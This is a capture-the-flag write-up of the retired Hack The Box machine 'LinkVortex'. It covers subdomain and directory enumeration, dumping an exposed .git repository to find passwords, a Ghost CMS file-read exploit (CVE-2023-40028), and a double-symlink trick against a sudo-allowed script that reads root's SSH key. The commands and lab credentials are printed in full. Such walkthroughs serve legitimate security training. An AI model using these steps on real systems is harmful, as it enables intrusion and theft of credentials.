Jacob Huggins

Security | Systems | Networks
Principal Security Consultant @ Catalytic IT
CISSP | OSCP+ | OSEP

12 April 2025

HTB - Machine 'LinkVortex'

Post Image

by Jacob Huggins


Summary

HTB LinkVortex is ranked as an easy difficulty Linux macihe running an instance of Ghost for a blog. Enumeration shows a dev site with an exposed git repo with exposed credentials. The Ghost CMS version is vulnerable to an authenticated file read vulnerability. Using the exposed credentials and vulnerability, OS credentials are found. Root escalation abuses excessive sudo permissions on a bash script.


Machine Information

Name Info
Machine Name LinkVortex
Difficulty Easy
OS Linux
Target IP 10.10.11.47
Retire Date 12 Apr 2025



Recon

Configure my environment variable $ip to the target

ip=10.10.11.47


NMAP

Set the env var $ports to open ports found on the machine, scanning the top 1000. I can expand this to all ports at the cost of time if I don’t find anything useful.

ports=$(nmap $ip -Pn -T5 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

Deeper nmap scan against identified ports

nmap -p $ports -sS -sV -sC -T5 -Pn $ip

Scan Output

The server attempts to redirect to http://linkvortex.htb which I add to my hosts file.

echo "10.10.11.47 linkvortex.htb" | sudo tee -a /etc/hosts

Web Home


Subdomain Enumeration

ffuf -c -ac -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.linkvortex.htb' -u http://linkvortex.htb

Subdomain

dev subdomain was found. Add it to my hosts file.

echo "10.10.11.47 dev.linkvortex.htb" | sudo tee -a /etc/hosts


HTTP

linkvortex.htb

dirsearch -u linkvortex.htb -i 200

Directory Search

/robots.txt and /sitemap.xml found.

robots.txt points to /ghost subdirectory which prompts for authentication.

Ghost Login

Testing for credentials, I found that the login form confirms that the username is active through the invalid login error messages.

Ghost Login Incorrect User Ghost Login Correct User

Confirmed that a valid user is admin@linkvortex.htb. I now do further enumeration on the subdomain I found earlier.


dev.linkvortex.htb

Directory enumeration immediately reveals a .git folder accessible on the dev domain.

I use a tool published to download the .git repository and explore it’s contents. https://github.com/Ebryx/GitDump

python git-dump.py http://dev.linkvortex.htb/.git

GitDump

cd output
git checkout -- .
ls

The repository has a docker file at the root level. Reading the file does not contain any credentials, however it does show the location of a config file on the system.

GitDump /var/lib/ghost/config.production.json

I search the rest of the repository for file names containing a few keywords - auth,pass,conf etc.

find . -name auth* 2>/dev/null

GitDump Search

Exploring this file reveals a few paswords I can try on the login page found earlier.

GitDump Passwords


Foothold

I return to the login page found on http://linkvortex.htb/ghost/#/signin and attempt to sign in with the username found earlier and the passwords discovered in the .git repository. admin@linkvortex.htb:OctopiFociPilfer45

Success. The server is running Ghost CMS. Exploring the settings page shows it is running an older version 5.58.0 with a prompt to upgrade to the latest version.

Ghost Version

A quick search online reveals version 5.58.0 is vulnerable to a file read exploit (CVE-2023-40028) and there is a Poc available on GitHub. https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028

./CVE-2023-40028 -u admin@linkvortex.htb -p OctopiFociPilfer45 -h http://linkvortex.htb

Using this exploit to read the file the Docker config exposed earlier, I find SMTP credentials for the linkvortex.htb host.

Config Read

bob@linkvortex.htb:fibber-talented-worth

Attempting these credentials via SSH.

User SSH

Success!


Escalation

Viewing what bob can run as root with sudo -l reveals a script.

Sudo

#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

Viewing the contents of this script it performs the below

  1. Checks the environment variable CHECK_CONTENT for a boolean value
  2. Ensures the argument passed to the script is a png file.
  3. Ensures the symbolic link of the png file is not referencing root or etc files & folders.
  4. Moves the link file to the quarantine directory
  5. If the environment variable is set to true, print out the contents of the linked file.

I can abuse this. By trying to create a linked file directly to the root users SSH key, I can confirm it is caught by the script and rejected.

Sudo Esc

However, I will make a symbolic link file to my symbolic link root file to avoid detection by the script.

ln -s /root/.ssh/id_rsa /home/bob/hidden.png
ln -s /home/bob/hidden.png /home/bob/payload.png

sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/payload.png

Sudo Esc

Copy the private key to my machine, set the required permissions with chmod 600 linkvortex.key and connect to the machine with the key as root.

Root SSH Pwn

tags: htb - easy - linux